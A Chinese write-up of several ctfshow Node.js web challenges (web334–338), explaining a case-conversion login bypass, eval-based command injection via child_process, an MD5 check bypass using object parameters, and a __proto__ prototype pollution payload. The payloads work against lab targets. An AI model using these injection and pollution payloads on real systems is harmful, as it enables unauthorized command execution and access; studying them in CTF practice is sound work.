ctfshow-web入门 nodejs篇部分题解

ctfshow

  • nodejs
    • web334
    • web335
    • web336
    • web337
    • web338
    • 参考博客

nodejs

web334

先下载附件,在user.js中发现了账号密码

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

开环境,直接输入账号密码是错的,具体原因在login.js

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

可以得知,我们输入的name中字母全部大写后要等于CTFSHOW,并且name的值不是CTFSHOW,测试后发现name=ctfshowpassword=123456

web335

查看源码,发现有一个提示

先随便传一个数字进去,发现它回显了出来,但是输入字母的时候,就显示404 找不到文件,说明这里应该执行了我们输入的内容,这里的代码可能是eval('console.log(xxx)')
ctfshow-web入门 nodejs篇部分题解_第1张图片
然后执行命令:

?eval=require( 'child_process' ).execSync( 'ls' )
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()

?eval=require( 'child_process' ).execSync( 'cat fl00g.txt' )
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()

web336

和上题相比,有过滤,exec被过滤了,那就用第二个姿势

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()

web337

这题给了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

简单分析,需要传入a和b,它们值互不相同,但是长度相同,并且md5(a+flag)===md5(b+flag)

前面都还,重点是最后一个,正常手段肯定是不行,那试一下数组
payload:

这里只需要满足中括号里面是字母就行,关于它们的值相不相同,长度一不一样都不重要
?a[a]=2&b[b]=2

至于为什么中括号里是数字就不行,这里参考羽师傅给出的解释

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}2flag{xxx}

web338

这题考察的是原型链污染,我看的是羽师傅推荐的博客

题目给了源码,不过文件好像过期了,没办法了,只能看别的大佬圈出来的重点代码了

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

需要满足secert.ctfshow==='36dboy',利用点在utils.copy(user,req.body);,这里的copy类似上面那篇博客中的merge,照着里面的步骤来

抓包,改参数{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}
ctfshow-web入门 nodejs篇部分题解_第2张图片

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性,指向这个对象所在的类的prototype属性

这里污染之后,secret对象继承了Object.prototype,即secert.ctfshow==='36dboy',满足题目条件

后面几题看不到源码,暂时先不做了。

参考博客

https://blog.csdn.net/miuzzx/article/details/111780832

你可能感兴趣的:(#,ctfshow,ctf)